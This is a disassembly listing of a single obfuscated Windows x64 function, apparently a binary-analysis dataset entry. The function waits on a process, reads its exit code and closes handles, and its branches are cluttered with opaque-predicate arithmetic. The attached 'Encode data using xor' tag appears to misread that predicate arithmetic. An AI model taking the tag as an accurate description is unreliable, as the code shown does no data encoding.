Function at 0x1400c5aa0
Capabilities:
Encode data using xor

Disassembly:
push r15
push r14
push r13
push r12
push rsi
push rdi
push rbp
push rbx
sub rsp, 0x88
mov rsi, rcx
xor eax, eax
nop dword [rax + rax]
test al, al
jne 0x1400c5ac0
mov dword [rsp + 0x78], 0
lea rcx, [rsp + 0x38]
lea r8, [rsp + 0x78]
call fcn.1400a8640
mov rbx, qword [rsp + 0x38]
mov rcx, qword [rsp + 0x48]
cmp rcx, 2
jne 0x1400c5b10
mov qword [rsi + 8], rbx
mov eax, dword [0x141f42b48]
xor eax, dword [0x141f42b4c]
and eax, 0x810c2048
cmp eax, 0x2532accd
jne 0x1400c5f0e
jmp 0x1400c5f45
mov r14, qword [rsp + 0x40]
mov r12, qword [rsp + 0x50]
nop word [rax + rax]
mov eax, dword [0x141f42ac0]
and eax, dword [0x141f42ac4]
and eax, 0xc213104c
add eax, 0xf1afe787
cmp eax, 0xf25e2862
ja 0x1400c5b20
mov rbp, qword [rsp + 0x58]
mov rax, qword [rsp + 0x60]
mov qword [rsp + 0x28], rax
mov rax, qword [rsp + 0x68]
mov qword [rsp + 0x30], rax
mov rdi, qword [rsp + 0x70]
mov eax, dword [0x141f42ac8]
xor edx, edx
div dword [0x141f42acc]
nop dword [rax]
mov eax, dword [0x141f42ad0]
sub eax, dword [0x141f42ad4]
or eax, 0x84b93620
and eax, 0x85b93620
cmp eax, 0x280f46cb
jb 0x1400c5b70
test rcx, rcx
je 0x1400c5c04
mov eax, dword [0x141f42ad8]
or eax, dword [0x141f42adc]
or eax, 0xb288e269
imul eax, eax, 0x64014c72
or eax, 0x161fbed
cmp eax, 0xfe904261
je 0x1400c5bea
mov eax, dword [0x141f42ae0]
and eax, dword [0x141f42ae4]
add eax, 0xaff0e899
imul r15, rax, 0x700bc72d
shr r15, 0x38
add r15d, 0x12c314e8
mov rcx, r12
call qword [sym.imp.KERNEL32.dll_CloseHandle]
cmp r15d, 0x7a8e7285
jbe 0x1400c5bf5
mov rcx, r12
call qword [sym.imp.KERNEL32.dll_CloseHandle]
jmp 0x1400c5bb5
xor eax, eax
nop word [rax + rax]
test al, al
jne 0x1400c5c00
mov eax, dword [0x141f42ae8]
add eax, dword [0x141f42aec]
xor eax, 0x55a58fb6
mov ecx, 0xaa335623
imul rcx, rax
shr rcx, 0x3e
or ecx, 0xb28f54ac
cmp ecx, 0x2c3a5ebf
jae 0x1400c5c3e
mov rcx, rbx
mov edx, 0xffffffff
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov r12, qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
nop word cs:[rax + rax]
mov eax, dword [0x141f42af0]
and eax, dword [0x141f42af4]
or eax, 0xaddd2dc2
imul rcx, rax, 0x4a0b593
shr rcx, 0x20
sub eax, ecx
shr eax, 1
add eax, ecx
shr eax, 0x1d
imul r15d, eax, 0x9aecfe30
mov rcx, rbx
mov edx, 0xffffffff
call r12
cmp r15d, 0x8b06e122
jb 0x1400c5c50
test eax, eax
je 0x1400c5d0e
mov eax, dword [0x141f42b00]
imul eax, dword [0x141f42b04]
add eax, 0xa1281fd8
or eax, 0x1ca76daa
cmp eax, 0x507e20db
jne 0x1400c5cb8
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov r12, qword [sym.imp.KERNEL32.dll_GetLastError]
nop
mov eax, dword [0x141f42b08]
xor eax, dword [0x141f42b0c]
imul r15d, eax, 0x1de4a4e3
xor r15d, 0x33efb383
add r15d, 0xf739c8e3
call r12
cmp r15d, 0x19246f17
jb 0x1400c5cc0
shl rax, 0x20
or rax, 2
mov qword [rsi + 8], rax
mov r12d, 1
xor eax, eax
test al, al
je 0x1400c5e04
jmp 0x1400c5e3f
mov dword [rsp + 0x38], 0
lea rdx, [rsp + 0x38]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_GetExitCodeProcess]
mov ecx, eax
nop word cs:[rax + rax]
mov eax, dword [0x141f42af8]
xor edx, edx
div dword [0x141f42afc]
or eax, 0x186d0f1d
add eax, 0x7e584e35
and eax, 0xe0513994
cmp eax, 0xec9b5fdc
je 0x1400c5d30
test ecx, ecx
je 0x1400c5d71
mov eax, dword [rsp + 0x38]
mov dword [rsi + 4], eax
xor r12d, r12d
xor eax, eax
test al, al
je 0x1400c5e04
jmp 0x1400c5e3f
mov eax, dword [0x141f42b10]
xor eax, dword [0x141f42b14]
imul eax, eax, 0x671b7846
xor eax, 0x18200061
and eax, 0x7c3c9369
cmp eax, 0xf8f64034
ja 0x1400c5dc6
mov r15d, dword [0x141f42b18]
and r15d, dword [0x141f42b1c]
add r15d, 0x134ab50b
or r15d, 0xe7a8fd87
add r15d, 0xb6829078
call qword [sym.imp.KERNEL32.dll_GetLastError]
cmp r15d, 0x37923859
jae 0x1400c5dce
call qword [sym.imp.KERNEL32.dll_GetLastError]
jmp 0x1400c5d94
xor ecx, ecx
test cl, cl
jne 0x1400c5dd0
mov ecx, 0x86745c9b
nop dword [rax]
mov edx, dword [0x141f42b20]
add edx, dword [0x141f42b24]
imul rdx, rcx
shr rdx, 0x3e
and edx, 0xfffffffe
cmp edx, 0xe13bb5b
je 0x1400c5de0
jmp 0x1400c5ced
mov r15d, dword [0x141f42b28]
xor r15d, dword [0x141f42b2c]
or r15d, 0x67940064
and r15d, 0x67950065
mov dword [rsi], r12d
mov r13, qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, rbx
call r13
mov rcx, r14
call r13
cmp r15d, 0x901fe508
jbe 0x1400c5e57
mov dword [rsi], r12d
mov r15, qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, rbx
call r15
mov rcx, r14
call r15
jmp 0x1400c5e04
test rbp, rbp
je 0x1400c5e67
mov rcx, qword [rsp + 0x28]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, 0x81949611
nop dword [rax]
mov ecx, dword [0x141f42b30]
xor ecx, dword [0x141f42b34]
imul ecx, ecx, 0xecc0baed
xor ecx, 0x4bb2e921
imul rcx, rax
shr rcx, 0x3f
cmp ecx, 0x98ffbfab
ja 0x1400c5e70
cmp qword [rsp + 0x30], 0
je 0x1400c5f50
xor eax, eax
test al, al
jne 0x1400c5eda
mov esi, dword [0x141f42b38]
imul esi, dword [0x141f42b3c]
and esi, 0x2ce44599
add esi, 0x5133807f
and esi, 0x4976470e
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
cmp esi, 0x973614d7
jbe 0x1400c5ee5
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
jmp 0x1400c5eaa
mov eax, 0x9743aac1
nop word [rax + rax]
mov ecx, dword [0x141f42b40]
sub ecx, dword [0x141f42b44]
imul rcx, rax
shr rcx, 0x3e
cmp ecx, 0xfe6f20eb
je 0x1400c5ef0
jmp 0x1400c5f50
mov eax, dword [0x141f42b50]
add eax, dword [0x141f42b54]
xor eax, 0xa278d494
imul rcx, rax, 0x3648cb1
shr rcx, 0x20
sub eax, ecx
shr eax, 1
add eax, ecx
shr eax, 0x1f
or eax, 0x61516efe
mov dword [rsi], 1
cmp eax, 0xa2fe3039
jbe 0x1400c5f50
mov dword [rsi], 1
jmp 0x1400c5f0e
mov eax, dword [0x141f42b58]
add eax, dword [0x141f42b5c]
imul eax, eax, 0x6680cfbb
cmp eax, 0x41f936b8
je 0x1400c5f50
add rsp, 0x88
pop rbx
pop rbp
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
ret